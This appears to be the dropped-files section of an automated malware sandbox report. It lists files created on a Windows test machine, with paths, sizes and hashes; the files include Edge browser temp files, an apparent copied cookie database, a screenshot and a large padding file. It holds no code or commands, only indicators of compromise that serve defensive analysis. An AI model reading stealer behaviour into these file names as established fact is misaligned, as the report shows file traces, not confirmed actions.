SHA256 6e477d9a54e2240722b66b4f36b123ca44b3dd535b7d2fc55814517765ae2180
MD5 61cb9a092581a02318172ddc42f70438
SHA1 26f461a3c4e19c59c47b50b99c9ead7b9dc71405
SHA512 f64574c416a96e5742cf282b1132889181efa98de26b0dd35ce00467d73ddbe86bfa757676c677f85cd9d189ab8020afece5eb90f7b43a50a6c334e8901ee757
TLSH
T1E5717CF7C3E9862DC91156F4AB146E1FDE2D0924836C3C6AC8E4AE1B93F2471E141A5F
MD5 SHA1 SHA512 TLSH

Submit Download

43dd9843-5364-4059-9fea-114a14d409d4.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\43dd9843-5364-4059-9fea-114a14d409d4.tmp
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

bfcb9b8d-2685-4679-abf5-2ca4cd108054.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\bfcb9b8d-2685-4679-abf5-2ca4cd108054.tmp
Size 40B
SHA256 6028bd681dbf11a0a58dde8a0cd884115c04caa59d080ba51bde1b086ce0079d
MD5 20d4b8fa017a12a108c87f540836e250
SHA1 1ac617fac131262b6d3ce1f52f5907e31d5f6f00
SHA512 507b2b8a8a168ff8f2bdafa5d9d341c44501a5f17d9f63f3d43bd586bc9e8ae33221887869fa86f845b7d067cb7d2a7009efd71dda36e03a40a74fee04b86856
MD5 SHA1 SHA512

Submit Download

sync_diagnostic.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\Logs\sync_diagnostic.log
Size 3KB
SHA256 2cb756e89fc1021d02f92521813fb34e0fdffe383373bb9c15d70007ccaf9eae
MD5 a18329c4f0fd6082b4fe0d87faeece53
SHA1 8cadb6658069375403334de2692bf019d3d00f32
SHA512 0d2a3c723b0e85d32f98964a8abed8b289d25f34cd5cea0e0d92ff797fc17685e633c60d0d459de0edf7a6da3e6320edee8cb6694659195daaf497e967b8f2df
TLSH
T12081FB1136BB424039FD39AC97B5966A024631733019E66BBBFC40B58E6EF144CFD8CA
MD5 SHA1 SHA512 TLSH

Submit Download

bff573b8-f8a2-4d86-a827-cf5eec1349ba.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\bff573b8-f8a2-4d86-a827-cf5eec1349ba.tmp
Size 12KB
SHA256 a9dce9dd9b4be3415134e9a20dc226128b00e7ee4facbb614f78c7a3efebdd10
MD5 b35321b2dab4f71239f039bf20a91dc0
SHA1 9ff2b6171889fc6d35e7058d267161542cd37b6c
SHA512 f1c656e50085991fdf2831ec7dde56aa6b6961647bc25dcfc2233b1a37e9b3e60e6946d7e1e38ad8547fe848ced347c727506f5c386e305ff2515ee55c6cd08c
SSDEEP 192:sxRLRgbh/fIsLiK7xO6zoA8pRBu/g6+WN9jYhYMPIZU8GLIgDqoJ:sxRL8h/fIs+6eC/5ShXN/
TLSH
T13042C816AD28A93B9CDBD219FB55BF57D2FD1032A4D41E48A6FC8A1C04E76DD220780F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

c118f753-24b6-4532-aac9-d28a1ba789c1.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\c118f753-24b6-4532-aac9-d28a1ba789c1.tmp
Size 12KB
SHA256 98f78c80a1f5a3fe7bbddfe3c39420310f148f260c668d63dfed77c04a9a393d
MD5 b125e71ea6b77ea169e135a08a8ddc28
SHA1 9e52f2868332ddfad1cfbda63157fc2434673e9b
SHA512 813a17218d31d32fd744499f9bbab92cde57264c24e74e5afcaecde258841d4863b85155817a1c59cddeb67733e256114598ca53a37d13797991f24512a5c378
SSDEEP 192:sxRLRgbh/fIsLiK7xk6zoA8pRaP/g6+WN9pWhYMPIvU8GLIgDqoJ:sxRL8h/fIs+6we/5ChXf/
TLSH
T1F342D916ED28A93B9CCBD219FB55BF17D2FD1032A4D41E48A6FC8A1C04E76DD220780B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

c46e419f-bc94-4c50-b9ac-98da60b1231e.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\c46e419f-bc94-4c50-b9ac-98da60b1231e.tmp
Size 12KB
SHA256 f8d89baf0e77d695e2a958541039ebe911e70a00e5a316cfc2d6bb763edfa06d
MD5 712698054849ed4e114eeffb336484fe
SHA1 063b3c98c839701d7f96a1ab5349e660a3d37453
SHA512 5fcf8cf005826524ed74625f4b3eb6a36ea47a0603d40b8f3854cc32f1423d64c6e4d70cd8b66b7c004be086ee14d2f7442f471e892f57322bfbbeaeaa9843a1
SSDEEP 192:sxRLRgbh/fIsLiK7xE6zoA8pXIu/g6+WN9/thYMPIM8GLIgDqwJ:sxRL8h/fIs+6oL/5rhXrn
TLSH
T16742B916ED28693B9CDBD219BB55BF57D2FD5032A0D41E48A6FC8A1C04E76DD220780F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

e42c0cc5-0943-486e-8565-54b78066fc88.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\e42c0cc5-0943-486e-8565-54b78066fc88.tmp
Size 12KB
SHA256 863e355219e2770a48c4d00d22acf9f2f36e8e3b902d2713d679a6bb6a449f18
MD5 f9f7588044663d92e3111de68be9ed17
SHA1 2b8a0169205594c45b3138e1c7065c9d16687cb2
SHA512 300c104c168c70bc1d14b26d9296e291dbc15cce4704ee1ac5eb162428c5036e3e57071da09087af99739a689ffc169e9104da30372bc00b6dbad847d2b61a66
SSDEEP 192:sxRLRgbh/fIsLiK7xS6zoA8pRPP/g6+WN9dwhYMPIvU8GLIgDqoJ:sxRL8h/fIs+6ah/5ghXT/
TLSH
T19442C916ED28A93B9CDBD219FB55BF57D2FD1032A0D41E48A6FC8A1C04E76DD620780B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ed2dcbad-40af-459b-9a99-9afc5a6b7e73.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\ed2dcbad-40af-459b-9a99-9afc5a6b7e73.tmp
Size 70KB
SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
MD5 efe54a870e0f5ff28d7e00036b861065
SHA1 10663a71c9815382ca5a1689dfcebe737c557b1d
SHA512 4d7ed9d3e22a58f0e169c9200e351d3a938c82ab7920567f67bf29d33b28192329ea05657d1077aebaf2c2b5151eb50c84e5ab590733ff824389566d93381c01
SSDEEP 1536:fAlMWz7vLDtDSVlXXwpFlorgLUxF+nubjUDSlBczkF1D/u1:fvuWAUxFDbY+0zkjDG1
TLSH
T1DA639F406A6479E8E814CBF59C69B7D30B95CFDC51A252E831F4FE7AB681494C90CFC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

19fcd74c-ffc1-4fc5-a1a1-24fe1e545816.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Cloud Config\19fcd74c-ffc1-4fc5-a1a1-24fe1e545816.tmp
Size 22KB
SHA256 d988156066b7fd22de278fbc96759d2caea6552094ffeb2ddd9307806059c5e4
MD5 f768bcb451a187c18099961c484eef8b
SHA1 99472c2d1918ea56c632734bc5c8a89ae6d2551c
SHA512 a4d78de6bcc1e940c466c41c31ee100235b32fef4cb3e7815a9c62dfae1eb3e4588d2c9e8597152ad7754527643c59ea8b811277ac58e4134a3dbf1507fe97bf
SSDEEP 384:90JOk/FY7A42lagbkDtCkQ7wDThH/64+hkmbA6BQpGMgSVlkFIum1z4tfLTvq/ue:WJOk/FY7/2lagbCtCkQ7wDlH/h+umbAJ
TLSH
T131A2B81DC81C7E3257CA2F7D6A2F9DB276DA30CA7080459A7E8CC54DD31B0AD56862BC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

c72658ea-c214-4139-adfb-3af4a8057f41.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\c72658ea-c214-4139-adfb-3af4a8057f41.tmp
Size 38KB
SHA256 2b37370ec003b4ad5a2d1a4b0d8f28c3782f26747f5d2bf782fb20b2aad4aa00
MD5 60f7f728f0b19f7544a34cbf3dd0b40d
SHA1 97efe4a07a59a1ee8373eba3fba4f9984d465f48
SHA512 f551169e1080e74f72aa5fc815d0e09ca1599381d40a6026994c1514c9da81f5c6b609d7be3fcce34dfa70a33f2ca403f54362ab68e61d3a50010c6db75631ae
SSDEEP 768:l/UxvxjgC+u3wUrybNbzohgOeRFZD1fTos7Rjc1FI:IZj3+u3w4zbY1fT/Rw1i
TLSH
T11203AF39F8A49D334CF6E245B24A7B87FFF415B388C9199845D85F0E0987B9D134B81A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

3d0a40deb15b80333a0b152bac6856a3345cbfcd29fd6a5c33a6e4bd22c1b272

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\extensions_crx_cache\3d0a40deb15b80333a0b152bac6856a3345cbfcd29fd6a5c33a6e4bd22c1b272
Size 158KB
SHA256 3d0a40deb15b80333a0b152bac6856a3345cbfcd29fd6a5c33a6e4bd22c1b272
MD5 9c18c4721b560ec55f0d5de055144d5c
SHA1 6af37a3bda916cac276ad5879c9f61262d9ae523
SHA512 51466928eb8d3cf7b917919c98bd8168453583d2c3dc5836036d87ffd0d2c732ab8450212a880fc6de199ea569a96993ba0d250a5012160d2d72211880695f92
SSDEEP 3072:5ZwEurOxn8zXnHc2qHNYEU/rUHCVJWGdi0Ha5HnXk9TFzBsuht7yGik:5ZwPOx8D85UIHEI0HaZ09JzKStjik
TLSH
T1CFF3E13E7EDE891AD80B10BB7F16B18BD80D8E0B460AB44B769D80155B3668D1BD1CFD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

f134c385-7a99-4b71-999d-be1bf397d510.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\extensions_crx_cache\f134c385-7a99-4b71-999d-be1bf397d510.tmp
Size 13B
SHA256 2771d13c637c267132afff9db67537bef95708534b79ae8d954254c4e64e4e0f
MD5 2aa9e263ee3796d9ce358460a2451b4c
SHA1 7a55d937c0cd1f7543a12be730e4a78d0a14a545
SHA512 4909e73ffd1a777a9f102a8831f6ae5a9091084a2755707363251f39164bb65e22c318972ea59e7155976c6a626691dfa94539ee752f58e31aa16f4de5cdbccf
MD5 SHA1 SHA512

Submit Download

7db144d6-40ec-4e8d-8c42-2e303f0154a6.tmp

Path C:\Users\Admin\AppData\Local\Temp\7db144d6-40ec-4e8d-8c42-2e303f0154a6.tmp
Size 1B
SHA256 cdb4ee2aea69cc6a83331bbe96dc2caa9a299d21329efb0336fc02a82e1839a8
MD5 5058f1af8388633f609cadb75a75dc9d
SHA1 3a52ce780950d4d969792a2559cd519d7ee8c727
SHA512 0b61241d7c17bcbb1baee7094d14b7c451efecc7ffcbd92598a0f13d313cc9ebc2a07e61f007baf58fbf94ff9a8695bdd5cae7ce03bbf1e94e93613a00f25f21
MD5 SHA1 SHA512

Submit Download

ck_240758953.db

Path C:\Users\Admin\AppData\Local\Temp\ck_240758953.db
Size 20KB
SHA256 2ade7ad8f15eccb025798893f007bc3a04679504411bbad75e4d1f35cf47a65e
MD5 40c4021f7a23fc1b361904d0519eb714
SHA1 eb811f03ded3cf26dc320980307be2b2f9335df5
SHA512 6cfd57cdb92272641c9ad007872cf25c11579c5bfd44935b988559b5e0cca1f4eff976265ff2c2b002f5176af6c8c21961f58e8fb108fcedf4370f9d640186ff
SSDEEP 24:TLf91kweka6cLbXYFpFNYba5+6UwcQ8PAl5fB:T79aw/aHLopFMavU1iB
TLSH
T1B392AD8E1F343620C0F44B33F9C249972E7C212C93637A89EE5410F3DD965ABF50A5A6
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

infz_shot.bmp

Path C:\Users\Admin\AppData\Local\Temp\infz_shot.bmp
Size 5.9MB
SHA256 b9e0d9bef08406b11ab761827f6f39925bdeeb777d3e21663bbb350377e2af98
MD5 417ccf97223b54ff08a06bd4e4796942
SHA1 caa2f1cd6b73eff80e246a9ba6868e8d82d0f1b3
SHA512 8e1f032cc33411ada8f49d179a7f286f2065a27980ed4889ae8e295cbcf9c240773226e49a51682f40a40eaefcf0bf010fb767dacb762f7db65a635484d7b023
SSDEEP 6144:NtvCQ5CNNdlFHCPve18oTVM/bkzSBdmT9VLoaASW2SWTVHejIJn:NlCwRT/sMCSWHeM
TLSH
T13B562627F5693E74FD2329B492F007298254E8D8B704074E85272FF4F3A67896AE7670
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

01bc2668-5b3f-40eb-a450-735c013e4932.tmp

Path C:\Users\Admin\AppData\Local\Temp\scoped_dir416_1293466922\01bc2668-5b3f-40eb-a450-735c013e4932.tmp
Size 10KB
SHA256 67d161098be68cd24febc0c7b48f515f199dda72f20ae3bbb97fcf2542bb0550
MD5 78e47dda17341bed7be45dccfd89ac87
SHA1 1afde30e46997452d11e4a2adbbf35cce7a1404f
SHA512 9574a66d3756540479dc955c4057144283e09cae11ce11ebce801053bb48e536e67dc823b91895a9e3ee8d3cb27c065d5e9030c39a26cbf3f201348385b418a5
SSDEEP 192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
TLSH
T19D32CFB695286380C58EE63D86423BE3130AFBF8CC05F156815069D768A13591B4B8BF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

infaz_5.dat

Path C:\infaz_5.dat
Size 100.0MB
SHA256 cd1f2a4b7893d1c70893ed2ba347e140d34bdcd2794097424083d9367fa5caa6
MD5 5937fb14ca678edd47fca8acbf0f12d0
SHA1 c1ff9be307e47212d858e3bd534a32e94eba0d75
SHA512 b552f74ee4dc974b9f42feeb7a97a70c7c3bb94817478c571195d6d91156ea7d4d90a426df0fef975c91a549b19763c3a7a87c0a564a11cabc95630ebaf9ff09
SSDEEP 3:Wttkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkw:Yu
MD5 SHA1 SHA512 SSDEEP

Submit Download